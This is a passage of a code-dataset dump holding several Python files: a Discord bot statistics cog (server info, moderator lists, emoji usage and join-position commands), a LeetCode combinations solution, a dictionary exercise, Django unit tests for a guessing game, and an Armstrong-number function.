\"🇭🇰 Hong Kong\"\n        elif str(server.region) == \"southafrica\":\n            region = \"🇿🇦 South Africa\"\n        elif str(server.region) == \"sydney\":\n            region = \"🇦🇺 Sydney\"\n        elif str(server.region) == \"russia\":\n            region = \"🇷🇺 Russia\"\n        elif str(server.region) == \"europe\":\n            region = \"🇪🇺 Europe\"\n        elif str(server.region) == \"brazil\":\n            region = \"🇧🇷 Brazil\"\n        elif str(server.region) == \"brazil\":\n            region = \"🇸🇬 Singapore\"\n        elif str(server.region) == \"india\":\n            region = \"🇮🇳 India\"\n        else:\n            region = str(server.region).title()\n\n        em = discord.Embed(color=self.bot.constants.embed)\n        em.set_thumbnail(url=server.icon_url)\n        em.set_author(name=server.name, icon_url=server.icon_url)\n        em.set_footer(\n            text=f\"Server ID: {server.id} | Created on {server.created_at.__format__('%m/%d/%Y')}\"\n        )\n        em.add_field(\n            name=\"Owner\",\n            value=f\"{self.bot.emote_dict['owner']} {server.owner}\",\n            inline=True,\n        )\n        em.add_field(\n            name=\"Total Members\",\n            value=f\"{self.bot.emote_dict['members']} {server.member_count:,}\",\n            inline=True,\n        )\n        em.add_field(\n            name=\"Online Members\",\n            value=f\"{self.bot.emote_dict['online']} {online:,}\",\n            inline=True,\n        )\n        em.add_field(\n            name=\"Role Count\",\n            value=f\"{self.bot.emote_dict['role']} {role_count:,}\",\n            inline=True,\n        )\n        em.add_field(name=\"Region\", value=region, inline=True)\n        em.add_field(\n            name=\"Emoji Count\",\n            value=f\"{self.bot.emote_dict['emoji']} {len(server.emojis):,}\",\n            inline=True,\n        )\n        em.add_field(\n            name=\"Categories\",\n            value=f\"{self.bot.emote_dict['categories']} {len(server.categories):,}\",\n            inline=True,\n        )\n        em.add_field(\n            name=\"Text Channels\",\n            value=f\"{self.bot.emote_dict['textchannel']} {total_text_channels:,}\",\n            inline=True,\n        )\n        em.add_field(\n            name=\"Voice Channels\",\n            value=f\"{self.bot.emote_dict['voicechannel']} {total_voice_channels:,}\",\n            inline=True,\n        )\n        await ctx.send_or_reply(embed=em)\n\n    @decorators.command(\n        aliases=[\"moderators\"],\n        brief=\"Show the server mods.\",\n        implemented=\"2021-03-17 07:08:21.480899\",\n        updated=\"2021-05-06 18:12:21.041255\",\n        examples=\"\"\"\n                {0}mods\n                {0}moderators\n                \"\"\",\n    )\n    @commands.guild_only()\n    async def mods(self, ctx):\n        \"\"\"\n        Usage: {0}mods\n        Alias: {0}moderators\n        Output:\n            Show all the server moderators\n            and their respective statuses.\n        \"\"\"\n        message = \"\"\n        all_status = {\n            \"online\": {\"users\": [], \"emoji\": self.bot.emote_dict[\"online\"]},\n            \"idle\": {\"users\": [], \"emoji\": self.bot.emote_dict[\"idle\"]},\n            \"dnd\": {\"users\": [], \"emoji\": self.bot.emote_dict[\"dnd\"]},\n            \"offline\": {\"users\": [], \"emoji\": self.bot.emote_dict[\"offline\"]},\n        }\n\n        for user in ctx.guild.members:\n            user_perm = ctx.channel.permissions_for(user)\n            if user_perm.kick_members or user_perm.ban_members:\n                if not user.bot:\n                    all_status[str(user.status)][\"users\"].append(f\"{user}\")\n\n        for g in all_status:\n            if all_status[g][\"users\"]:\n                message += (\n                    f\"{all_status[g]['emoji']} `{', '.join(all_status[g]['users'])}`\\n\"\n                )\n\n        await ctx.send_or_reply(\n            content=f\"Mods in **{ctx.guild.name}:**\\n\\n{message}\",\n        )\n\n    @decorators.command(\n        aliases=[\"administrators\"],\n        brief=\"Show the server admins.\",\n        implemented=\"2021-03-17 07:05:30.712141\",\n        updated=\"2021-05-06 18:14:34.407872\",\n        examples=\"\"\"\n                {0}admins\n                {0}administrators\n                \"\"\",\n    )\n    @commands.guild_only()\n    async def admins(self, ctx):\n        \"\"\"\n        Usage: {0}admins\n        Alias: {0}administrators\n        Output:\n            Show all server administrators\n            and their respective statuses.\n        \"\"\"\n        message = \"\"\n        all_status = {\n            \"online\": {\"users\": [], \"emoji\": self.bot.emote_dict[\"online\"]},\n            \"idle\": {\"users\": [], \"emoji\": self.bot.emote_dict[\"idle\"]},\n            \"dnd\": {\"users\": [], \"emoji\": self.bot.emote_dict[\"dnd\"]},\n            \"offline\": {\"users\": [], \"emoji\": self.bot.emote_dict[\"offline\"]},\n        }\n\n        for user in ctx.guild.members:\n            user_perm = ctx.channel.permissions_for(user)\n            if user_perm.administrator:\n                if not user.bot:\n                    all_status[str(user.status)][\"users\"].append(f\"{user}\")\n\n        for g in all_status:\n            if all_status[g][\"users\"]:\n                message += (\n                    f\"{all_status[g]['emoji']} `{', '.join(all_status[g]['users'])}`\\n\"\n                )\n\n        await ctx.send_or_reply(\n            content=f\"Admins in **{ctx.guild.name}:**\\n\\n{message}\",\n        )\n\n    @decorators.command(\n        aliases=[\"estats\"],\n        brief=\"Emoji usage tracking.\",\n        implemented=\"2021-03-23 04:40:06.282347\",\n        updated=\"2021-05-06 18:18:31.394648\",\n        examples=\"\"\"\n                {0}emojistats\n                {0}emojistats Hecate\n                {0}emojistats @Hecate\n                {0}emojistats Hecate#3523\n                {0}emojistats 839929135988342824\n                {0}estats\n                {0}estats Hecate\n                {0}estats @Hecate\n                {0}estats Hecate#3523\n                {0}estats 839929135988342824\n                \"\"\",\n    )\n    @commands.guild_only()\n    @checks.bot_has_perms(add_reactions=True, embed_links=True, external_emojis=True)\n    @checks.has_perms(view_audit_log=True)\n    async def emojistats(self, ctx, user: converters.DiscordMember = None):\n        \"\"\"\n        Usage: {0}emojistats [user]\n        Alias: {0}estats\n        Permission: View Audit Log\n        Output:\n            Get detailed emoji usage stats.\n        Notes:\n            Specify an optional user to narrow\n            statistics to be exclusive to the user.\n        \"\"\"\n        async with ctx.channel.typing():\n            msg = await ctx.send_or_reply(\n                content=f\"{self.bot.emote_dict['loading']} **Collecting Emoji Statistics...**\",\n            )\n            if user is None:\n                query = \"\"\"\n                        SELECT (emoji_id, total)\n                        FROM emojistats\n                        WHERE server_id = $1\n                        ORDER BY total DESC;\n                        \"\"\"\n\n                emoji_list = []\n                result = await self.bot.cxn.fetch(query, ctx.guild.id)\n                for x in result:\n                    try:\n                        emoji = self.bot.get_emoji(int(x[0][0]))\n                        if emoji is None:\n                            continue\n                        emoji_list.append((emoji, x[0][1]))\n\n                    except Exception as e:\n                        print(e)\n                        continue\n\n                p = pagination.SimplePages(\n                    entries=[\"{}: Uses: {}\".format(e[0], e[1]) for e in emoji_list],\n                    per_page=15,\n                )\n                p.embed.title = f\"Server Emoji Usage\"\n                await msg.delete()\n                try:\n                    await p.start(ctx)\n                except menus.MenuError as e:\n                    await ctx.send_or_reply(e)\n            else:\n                if user.bot:\n                    return await ctx.fail(f\"I do not track bots.\")\n                query = \"\"\"\n                        SELECT (content)\n                        FROM messages\n                        WHERE content ~ '<a?:.+?:([0-9]{15,21})>'\n                        AND author_id = $1\n                        AND server_id = $2\n                        \"\"\"\n\n                emoji_list = []\n                result = await self.bot.cxn.fetch(query, user.id, ctx.guild.id)\n                if not result:\n                    return await ctx.fail(\n                        f\"`{user}` has no recorded emoji usage stats.\"\n                    )\n\n                matches = re.compile(r\"<a?:.+?:[0-9]{15,21}>\").findall(str(result))\n                total_uses = len(matches)\n                for x in matches:\n                    emoji = self.bot.get_emoji(int(x.split(\":\")[2].strip(\">\")))\n                    if not emoji:\n                        continue\n                    emoji_list.append(emoji)\n\n                emojis = Counter(emoji_list).most_common()\n\n                p = pagination.SimplePages(\n                    entries=[\"{}: Uses: {}\".format(e[0], e[1]) for e in emojis],\n                    per_page=15,\n                )\n                p.embed.title = (\n                    f\"{user.display_name}'s Emoji Usage (Total: {total_uses:,})\"\n                )\n                await msg.delete()\n                try:\n                    await p.start(ctx)\n                except menus.MenuError as e:\n                    await ctx.send_or_reply(e)\n\n    @decorators.command(\n        aliases=[\"emojiusage\", \"emote\", \"emoteusage\"],\n        brief=\"Get usage stats on an emoji.\",\n        implemented=\"2021-03-23 05:05:29.999518\",\n        updated=\"2021-05-06 18:24:09.933406\",\n        examples=\"\"\"\n                {0}emoji pepe\n                {0}emoji :pepe:\n                {0}emoji <:pepe:779433733400166420>\n                {0}emote pepe\n                {0}emote :pepe:\n                {0}emote <:pepe:779433733400166420>\n                {0}emojistats pepe\n                {0}emojistats :pepe:\n                {0}emojistats <:pepe:779433733400166420>\n                {0}emotestats pepe\n                {0}emotestats :pepe:\n                {0}emotestats <:pepe:779433733400166420>\n                \"\"\",\n    )\n    @checks.bot_has_perms(add_reactions=True, embed_links=True, external_emojis=True)\n    @checks.has_perms(view_audit_log=True)\n    async def emoji(self, ctx, emoji: converters.GuildEmojiConverter):\n        \"\"\"\n        Usage: {0}emoji <custom emoji>\n        Aliases:\n            {0}emote, {0}emojiusage, {0}emoteusage\n        Output: Usage stats on the passed emoji\n        \"\"\"\n        msg = await ctx.load(\"Collecting Emoji Statistics\")\n        await ctx.trigger_typing()\n        query = f\"\"\"\n                SELECT author_id, string_agg(content, '') as content\n                FROM messages\n                WHERE content ~ '<a?:.+?:{emoji.id}>'\n                GROUP BY author_id;\n                \"\"\"\n\n        emoji_usage = await self.bot.cxn.fetch(query)\n        matches = {\n            record[\"author_id\"]: len(\n                re.compile(f\"<a?:.+?:{emoji.id}>\").findall(record[\"content\"])\n            )\n            for record in emoji_usage\n        }\n\n        p = pagination.SimplePages(\n            entries=[\n                \"`{}`: Uses: {}\".format(ctx.guild.get_member(user), count)\n                for user, count in sorted(\n                    matches.items(), key=lambda x: x[1], reverse=True\n                )\n                if ctx.guild.get_member(user)\n            ],\n            per_page=15,\n        )\n\n        p.embed.title = f\"{emoji} (Total Uses: {sum(matches.values()):,})\"\n        await msg.delete()\n        try:\n            await p.start(ctx)\n        except menus.MenuError as e:\n            await ctx.send_or_reply(e)\n\n    @decorators.command(\n        aliases=[\"joinedat\", \"jointime\"],\n        brief=\"Check when a user joined the server.\",\n        implemented=\"2021-03-30 07:33:29.174265\",\n        updated=\"2021-05-06 18:34:44.223170\",\n        examples=\"\"\"\n                {0}joined\n                {0}joined Hecate\n                {0}joined @Hecate\n                {0}joined Hecate#3523\n                {0}joined 708584008065351681\n                {0}joinedat\n                {0}joinedat Hecate\n                {0}joinedat @Hecate\n                {0}joinedat Hecate#3523\n                {0}joinedat 708584008065351681\n                {0}jointime\n                {0}jointime Hecate\n                {0}jointime @Hecate\n                {0}jointime Hecate#3523\n                {0}jointime 708584008065351681\n                \"\"\",\n    )\n    @commands.guild_only()\n    @checks.has_perms(view_audit_log=True)\n    async def joined(self, ctx, *, user: converters.DiscordMember = None):\n        \"\"\"\n        Usage: {0}joined [user]\n        Aliases: {0}joinedat, {0}jointime\n        Permission: View Audit Log\n        Output:\n            Shows when the passed user joined the server\n        Notes:\n            Will default to youself if no member is passed.\n        \"\"\"\n        user = user or ctx.author\n\n        embed = discord.Embed(colour=user.top_role.colour.value)\n        embed.set_thumbnail(url=user.avatar_url)\n        embed.description = (\n            f\"**{user}** joined **{ctx.guild.name}**\\n{utils.date(user.joined_at)}\"\n        )\n        await ctx.send_or_reply(embed=embed)\n\n    @decorators.command(\n        aliases=[\"joinposition\"],\n        brief=\"Show the join position of a user.\",\n        implemented=\"2021-03-11 23:58:24.868592\",\n        updated=\"2021-05-06 18:39:09.468807\",\n        examples=\"\"\"\n                {0}joinpos\n                {0}joinpos Hecate\n                {0}joinpos @Hecate\n                {0}joinpos Hecate#3523\n                {0}joinpos 839934336363134976\n                {0}joinposition\n                {0}joinposition Hecate\n                {0}joinposition @Hecate\n                {0}joinposition Hecate#3523\n                {0}joinposition 839934336363134976\n                \"\"\",\n    )\n    @commands.guild_only()\n    @checks.has_perms(view_audit_log=True)\n    async def joinpos(self, ctx, *, user: converters.DiscordMember = None):\n        \"\"\"\n        Usage: {0}joinpos [user]\n        Alias: {0}joinposition\n        Permission: View Audit Log\n        Output:\n            Shows when a user joined\n            compared to other users.\n        Notes:\n            Will default to yourself\n            if no user is passed.\n        \"\"\"\n\n        if user is None:\n            user = ctx.author\n\n        joinedList = []\n        for mem in ctx.message.guild.members:\n            joinedList.append({\"ID\": mem.id, \"Joined\": mem.joined_at})\n\n        # sort the users by join date\n        joinedList = sorted(\n            joinedList,\n            key=lambda x: x[\"Joined\"].timestamp() if x[\"Joined\"] != None else -1,\n        )\n\n        check_item = {\"ID\": user.id, \"Joined\": user.joined_at}\n\n        total = len(joinedList)\n        position = joinedList.index(check_item) + 1\n\n        before = \"\"\n        after = \"\"\n\n        msg = \"`{}'s` join position is **#{:,}**.\".format(user, position, total)\n        if position - 1 == 1:\n            # We have previous users\n            before = \"**1** user\"\n        elif position - 1 > 1:\n            before = \"**{:,}** users\".format(position - 1)\n        if total - position == 1:\n            # There were users after as well\n            after = \"**1** user\"\n        elif total - position > 1:\n            after = \"**{:,}** users\".format(total - position)\n        # Build the string!\n        if len(before) and len(after):\n            # Got both\n            msg += \" {} joined before, and {} after.\".format(before, after)\n        elif len(before):\n            # Just got before\n            msg += \" {} joined before.\".format(before)\n        elif len(after):\n            # Just after\n            msg += \" {} joined after.\".format(after)\n        await ctx.send_or_reply(msg)\n\n    @decorators.command(\n        aliases=[\"joinedatposition\"],\n        brief=\"Show who joined at a position.\",\n        implemented=\"2021-03-23 23:37:29.560505\",\n        updated=\"2021-05-06 18:44:36.316193\",\n        examples=\"\"\"\n                {0}joinedatpos 3\n                {0}joinedatposition 7\n                \"\"\",\n    )\n    @commands.guild_only()\n    @checks.has_perms(view_audit_log=True)\n    async def joinedatpos(self, ctx, *, position):\n        \"\"\"\n        Usage: {0}joinedatpos <position>\n        Alias: {0}joinedatposition\n        Permission: View Audit Log\n        Output:\n            Shows the user that joined at the passed position.\n        \"\"\"\n        try:\n            position = int(position) - 1\n            assert -1 < position < len(ctx.guild.members)\n        except Exception:\n            return await ctx.fail(\n                \"Position must be an integer between 1 and {:,}\".format(\n                    len(ctx.guild.members)\n                )\n            )\n        joinedList = [\n            {\"member\": mem, \"joined\": mem.joined_at} for mem in ctx.guild.members\n        ]\n        # sort the users by join date\n        joinedList = sorted(\n            joinedList,\n            key=lambda x: x[\"joined\"].timestamp() if x[\"joined\"] != None else -1,\n        )\n        join = joinedList[position]\n        msg = \"**{}** joined at position **{:,}**.\".format(\n            join[\"member\"].display_name, position + 1\n        )\n        await ctx.send_or_reply(msg)\n\n    @decorators.command(\n        aliases=[\"earlyjoins\"],\n        brief=\"Show the first users to join.\",\n        implemented=\"2021-03-11 23:57:16.694491\",\n        updated=\"2021-05-06 18:48:42.837329\",\n        examples=\"\"\"\n                {0}firstjoins\n                {0}earlyjoins\n                \"\"\",\n    )\n    @commands.guild_only()\n    @checks.bot_has_perms(add_reactions=True, embed_links=True, external_emojis=True)\n    @checks.has_perms(view_audit_log=True)\n    async def firstjoins(self, ctx):\n        \"\"\"\n        Usage: {0}firstjoins\n        Alias: {0}earlyjoins\n        Permission: View Audit Log\n        Output:\n            Embed of all users ordered by their\n            join date earliest to latest.\n        \"\"\"\n        our_list = []\n        for member in ctx.guild.members:\n            our_list.append(\n                {\n                    \"name\": member.display_name,\n                    \"value\": \"{} UTC\".format(\n                        member.joined_at.strftime(\"%Y-%m-%d %I:%M %p\")\n                        if member.joined_at != None\n                        else \"Unknown\"\n                    ),\n                    \"date\": member.joined_at,\n                }\n            )\n        our_list = sorted(\n            our_list, key=lambda x: x[\"date\"].timestamp() if x[\"date\"] != None else -1\n        )\n        p = pagination.MainMenu(\n            pagination.FieldPageSource(\n                entries=[\n                    (\"{}. {}\".format(y + 1, x[\"name\"]), x[\"value\"])\n                    for y, x in enumerate(our_list)\n                ],\n                title=\"First Members to Join {} ({:,} total)\".format(\n                    ctx.guild.name, len(ctx.guild.members)\n                ),\n                per_page=15,\n            )\n        )\n\n        try:\n            await p.start(ctx)\n        except menus.MenuError as e:\n            await ctx.send_or_reply(e)\n\n    @decorators.command(\n        aliases=[\"latestjoins\", \"recentjoins\"],\n        brief=\"Show the latest users to join.\",\n        implemented=\"2021-03-16 19:00:01.981909\",\n        updated=\"2021-05-06 18:51:13.775928\",\n        examples=\"\"\"\n                {0}lastjoins\n                {0}latestjoins\n                {0}recentjoins\n                \"\"\",\n    )\n    @commands.guild_only()\n    @checks.bot_has_perms(add_reactions=True, embed_links=True, external_emojis=True)\n    @checks.has_perms(view_audit_log=True)\n    async def lastjoins(self, ctx):\n        \"\"\"\n        Usage: {0}lastjoins\n        Aliases: {0}latestjoins, {0}recentjoins\n        Permission: View Audit Log\n        Output:\n            Embed of all users ordered by their\n            join date latest to earliest.\n        \"\"\"\n        our_list = []\n        for member in ctx.guild.members:\n            our_list.append(\n                {\n                    \"name\": member.display_name,\n                    \"value\": \"{} UTC\".format(\n                        member.joined_at.strftime(\"%Y-%m-%d %I:%M %p\")\n                        if member.joined_at != None\n                        else \"Unknown\"\n                    ),\n                    \"date\": member.joined_at,\n                }\n            )\n        our_list = sorted(\n            our_list,\n            key=lambda x: x[\"date\"].timestamp() if x[\"date\"] != None else -1,\n            reverse=True,\n        )\n        p = pagination.MainMenu(\n            pagination.FieldPageSource(\n                entries=[\n                    (\"{}. {}\".format(y + 1, x[\"name\"]), x[\"value\"])\n                    for y, x in enumerate(our_list)\n                ],\n                title=\"First Members to Join {} ({:,} total)\".format(\n                    ctx.guild.name, len(ctx.guild.members)\n                ),\n                per_page=15,\n            )\n        )\n\n        try:\n            await p.start(ctx)\n        except menus.MenuError as e:\n            await ctx.send_or_reply(e)\n\n    @decorators.command(\n        aliases=[\"allbots\", \"serverbots\", \"guildbots\"],\n        brief=\"Shows all the server's bots.\",\n        implemented=\"2021-03-22 20:17:10.609920\",\n        updated=\"2021-05-06 19:18:30.882272\",\n        examples=\"\"\"\n                {0}allbots\n                {0}listbots\n                {0}guildbots\n                {0}serverbots\n                \"\"\",\n    )\n    @commands.guild_only()\n    @checks.bot_has_perms(add_reactions=True, embed_links=True, external_emojis=True)\n    @checks.has_perms(view_audit_log=True)\n    async def listbots(self, ctx):\n        \"\"\"\n        Usage: -listbots\n        Aliases:\n            {0}allbots\n            {0}serverbots\n            {0}guildbots\n        Permission: View Audit Log\n        Output:\n            A pagination session showing all\n            the server's bots and their IDs.\n        \"\"\"\n        list_of_bots = [x for x in ctx.guild.members if x.bot]\n        bot_list = []\n        for bot in list_of_bots:\n            bot_list.append(\n                {\n                    \"name\": str(bot),\n                    \"value\": \"Mention: {}\\nID: `{}`\".format(bot.mention, bot.id),\n                }\n            )\n        p = pagination.MainMenu(\n            pagination.FieldPageSource(\n                entries=[\n                    (\"{}. {}\".format(y + 1, x[\"name\"]), x[\"value\"])\n                    for y, x in enumerate(\n                        sorted(bot_list, key=lambda x: x[\"name\"].lower())\n                    )\n                ],\n                title=\"Bots in **{}** ({:,} total)\".format(\n                    ctx.guild.name, len(list_of_bots)\n                ),\n                per_page=10,\n            )\n        )\n        try:\n            await p.start(ctx)\n        except menus.MenuError as e:\n            await ctx.send_or_reply(e)\n\n    @decorators.command(\n        aliases=[\"channels\", \"allchannels\", \"serverchannels\"],\n        brief=\"Show the server's channels.\",\n        implemented=\"2021-03-11 23:23:02.365448\",\n        updated=\"2021-05-06 19:25:20.971385\",\n        examples=\"\"\"\n                {0}channels\n                {0}allchannels\n                {0}listchannels\n                {0}serverchannels\n                \"\"\",\n    )\n    @commands.guild_only()\n    @checks.bot_has_perms(embed_links=True)\n    @checks.has_perms(manage_channels=True)\n    @commands.cooldown(1, 20, commands.BucketType.guild)\n    async def listchannels(self, ctx):\n        \"\"\"\n        Usage: {0}listchannels\n        Alias:\n            {0}channels,\n            {0}allchannels,\n            {0}serverchannels\n        Permission: Manage Channels\n        Output:\n            Embed of all the server's channels\n        \"\"\"\n        guild = ctx.guild\n        channel_categories = {}\n\n        for chn in sorted(guild.channels, key=lambda c: c.position):\n            if (\n                isinstance(chn, discord.CategoryChannel)\n                and chn.id not in channel_categories\n            ):\n                channel_categories[chn.id] = []\n            else:\n                category = chn.category_id\n                if category not in channel_categories:\n                    channel_categories[category] = []\n\n                channel_categories[category].append(chn)\n\n        description = None\n\n        def make_category(channels):\n            val = \"\"\n            for chn in sorted(\n                channels, key=lambda c: isinstance(c, discord.VoiceChannel)\n            ):\n                if isinstance(chn, discord.VoiceChannel):\n                    val += \"\\\\🔊 \"\n                else:\n                    val += \"# \"\n\n                val += f\"{chn.name}\\n\"\n\n            return val\n\n        if None in channel_categories:\n            description = make_category(channel_categories.pop(None))\n\n        paginator = pagination.Paginator(title=\"Channels\", description=description)\n\n        for category_id in sorted(\n            channel_categories.keys(), key=lambda k: ctx.guild.get_channel(k).position\n        ):\n            category = ctx.guild.get_channel(category_id)\n\n            val = make_category(channel_categories[category_id])\n\n            paginator.add_field(name=category.name.upper(), value=val, inline=False)\n\n        paginator.finalize()\n\n        for page in paginator.pages:\n            await ctx.send_or_reply(embed=page)\n\n    @decorators.command(name=\"permissions\", brief=\"Show a user's permissions.\")\n    @commands.guild_only()\n    @checks.has_perms(view_audit_log=True)\n    async def _permissions(\n        self,\n        ctx,\n        member: converters.DiscordMember = None,\n        channel: discord.TextChannel = None,\n    ):\n        \"\"\"\n        Usage:  -permissions [member] [channel]\n        Permission: Manage Messages\n        Output:\n            Shows a member's permissions in a specific channel.\n        Notes:\n            Will default to yourself and the current channel\n            if they are not specified.\n        \"\"\"\n        channel = channel or ctx.channel\n        if member is None:\n            member = ctx.author\n\n        await self.say_permissions(ctx, member, channel)\n\n    async def say_permissions(self, ctx, member, channel):\n        permissions = channel.permissions_for(member)\n        e = discord.Embed(colour=member.colour)\n        avatar = member.avatar_url_as(static_format=\"png\")\n        e.set_author(name=str(member), url=avatar)\n        allowed, denied = [], []\n        for name, value in permissions:\n            name = name.replace(\"_\", \" \").replace(\"guild\", \"server\").title()\n            if value:\n                allowed.append(name)\n            else:\n                denied.append(name)\n\n        e.add_field(name=\"Allowed\", value=\"\\n\".join(allowed))\n        e.add_field(name=\"Denied\", value=\"\\n\".join(denied))\n        await ctx.send_or_reply(embed=e)\n","sub_path":"cogs/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":39021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"174608415","text":"#\n# @lc app=leetcode.cn id=77 lang=python3\n#\n# [77] 组合\n#\n\n# @lc code=start\nclass Solution:\n    def combine(self, n: int, k: int) -> List[List[int]]:\n        ans = list()\n        def backtrack(temp, index):\n            if len(temp)==k:\n                ans.append(temp[:])\n                return\n            for i in range(index, n+1):\n                temp.append(i)\n                backtrack(temp, i+1)\n                temp.pop()\n        backtrack([], 1)\n        return ans\n\n# @lc code=end\n\n","sub_path":"Week_03/77.组合.py","file_name":"77.组合.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"132360136","text":"computer = {\n    \"name\": \"Hp Elite Series\",\n    \"model\": \"es24\",\n    \"brand\": \"HP\",\n    \"year\": 2020\n}\nprint(computer)\n\nprint(len(computer))\n\nprint(type(computer))\n\nget_key_list = computer.keys()\nprint(get_key_list)\nget_values_list = computer.values()\nprint(get_values_list)\nget_item_list = computer.items()\nprint(get_item_list)\n\ncomputer.update({\"year\": 1200})\nprint(computer)\n\nif \"branded\" in computer:\n    print(\"Exist\")\nelse:\n    print(\"Does not exist\")\n\nfor items in get_key_list:\n    print(items)\n\nfor items in computer:\n    print(items.capitalize())\n\nbike = {\n    \"name\": \"Pulsar 220\",\n    \"color\": \"blue\",\n    \"power\": \"550 CC\",\n    \"year\": 2020\n}\n\nbike_2 = bike.copy()\n\nprint(bike_2)\n\nbike_3 = dict(bike)\nprint(bike_3)\n\n","sub_path":"exer_dict.py","file_name":"exer_dict.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"501516976","text":"from django.test import TestCase\n\nfrom django.test import RequestFactory\n\nfrom gladiator.models import GameUser, GladiatorGame\n\nfrom gladiator import views\n\nfrom django.core.exceptions import ValidationError\n\nfrom django.contrib.auth.models import User\n\nimport json\n\nimport time\n\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n# Create your tests here.\n\nclass GameUserModelTestCase(TestCase):\n    def setUp(self):\n        pass\n\n    def test_create_single_normal_user(self):\n        new_user = GameUser.objects.create_new_game_user('jacob@gmail.com')\n\n        self.assertEqual(not new_user.token, False)\n        self.assertEqual(not new_user.email, False)\n\n    def test_bad_email(self):\n        e = ''\n        try:\n            new_user = GameUser.objects.create_new_game_user('jacob@gmail')\n        except ValidationError as e:\n            pass\n\n\n        self.assertEqual(\"valid email address\" in str(e), True)\n\n\n\nclass GladiatorGameModelTestCase(TestCase):\n    def setUp(self):\n        pass\n\n    # cm stands for 'Convenience Method'\n    def cm_create_game(self, email):\n        guser, created = GameUser.objects.get_or_create(email)\n        user = guser.owner\n        game, created = GladiatorGame.objects.get_or_create_game(user)\n        return game\n\n    def test_is_delay_of_game(self):\n        game = self.cm_create_game('jacob.kyle@gmail.com')\n        game.get_results_for_guess([0,1,2,3])\n\n        self.assertEqual(game.is_delay_of_game(), False)\n\n        game.get_results_for_guess([0,1,2,3])\n\n        self.assertEqual(game.is_delay_of_game(), False)\n\n        # 11 seconds is more than the maximum time between requests\n        time.sleep(11)\n\n        self.assertEqual(game.is_delay_of_game(), True)\n\n    def test_has_run_out_of_attempts(self):\n        game = self.cm_create_game('jacob.kyle@gmail.com')\n\n        self.assertEqual(game.has_run_out_of_attempts(), False)\n\n        # Guess as many times as you're allowed\n        for i in xrange(0,GladiatorGame.objects.get_num_guesses_for_level(game.curr_level)):\n            self.assertEqual(game.has_run_out_of_attempts(), False)\n            game.get_results_for_guess([0,1,2,3])\n            \n        # After guessing up to the amount allowed, you should have run out of attempts\n        self.assertEqual(game.has_run_out_of_attempts(), True)\n        \n\nclass EndpointTestCase(TestCase):\n\n    def setUp(self):\n        self.factory = RequestFactory()\n\n    # cm stands for 'Convenience Method'\n    def cm_create_game(self, email='jacob.kyle@gmail.com'):\n        guser, created = GameUser.objects.get_or_create(email)\n        user = guser.owner\n        game, created = GladiatorGame.objects.get_or_create_game(user)\n        return game\n\n    def cm_create_authenticated_request(self, url, request_method='POST'):\n        game = self.cm_create_game()\n        request = None\n        if request_method=='POST':\n            request = self.factory.post(url)\n        elif request_method=='GET':\n            request = self.factory.get(url)\n        else:\n            # The request_method was called wrong\n            raise ValidationError(\"Unrecognized request_method: \" + str(request_method))\n        \n        request.user = game.game_user.owner\n        request.META[\"HTTP_AUTH_TOKEN\"] = game.game_user.token\n        return (request, game)\n        \n    def test_get_api_token(self):\n        request = self.factory.post('/api-auth-token', data={'email': u'jacob.kyle@gmail.com'})\n        response = views.get_token(request)\n        json_response = json.loads(response.content)\n        token_1 = json_response['auth-token']\n        self.assertEqual(response.status_code,201)\n        self.assertEqual(len(token_1)>5,True)\n\n        # The second time this method is ran, it should return the existing key\n        request = self.factory.post('/api-auth-token', data={'email': u'jacob.kyle@gmail.com'})\n        response = views.get_token(request)\n        json_response = json.loads(response.content)\n        self.assertEqual(response.status_code,200)\n        self.assertEqual(json_response['auth-token'],token_1)\n\n    def test_reset(self):\n        request, game = self.cm_create_authenticated_request('/reset/')\n        response = views.reset(request)\n        json_response = json.loads(response.content)\n\n        message = json_response['message']\n        self.assertEqual(response.status_code,200)\n        self.assertEqual(len(message)>5,True)\n\n    def test_hash(self):\n        request, game = self.cm_create_authenticated_request('/hash/', 'GET')\n        game.user_won_game()\n        response = views.get_hash(request)\n        json_response = json.loads(response.content)\n\n        game_hash = json_response['hash']\n        self.assertEqual(response.status_code,200)\n        self.assertEqual(len(game_hash)>5,True)\n\n    # def test_level_get(self):\n    #     request = self.factory.post('/level/1/', data={'email': u'jacob.kyle@gmail.com'})\n    #     response = views.play_level(request)\n    #     json_response = json.loads(response.content)\n    #     token_1 = json_response['auth-token']\n    #     self.assertEqual(response.status_code,201)\n    #     self.assertEqual(len(token_1)>5,True)\n\n    # def test_level_post(self):\n    #     request = self.factory.post('/level/1/', data={'email': u'jacob.kyle@gmail.com'})\n    #     response = views.play_level(request)\n    #     json_response = json.loads(response.content)\n    #     token_1 = json_response['auth-token']\n    #     self.assertEqual(response.status_code,201)\n    #     self.assertEqual(len(token_1)>5,True)\n\n\n\n\n\n\n","sub_path":"praetorian_game/gladiator/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":5519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"321641695","text":"# num = int(input(\"Enter a number\"))\n\ndef func(n):\n    if(n==\"\"):\n        print(\"blank not allowed\")\n    else:\n        n = int(n)\n        # Changed num variable to string, \n        # and calculated the length (number of digits)\n        order = len(str(n))\n\n        # initialize sum\n        sum = 0\n\n        # find the sum of the cube of each digit\n        temp = n\n        while temp > 0:\n            digit = temp % 10\n            sum += digit ** order\n            temp //= 10\n\n        # display the result\n        if n == sum:\n            return True\n        else:\n            return False","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
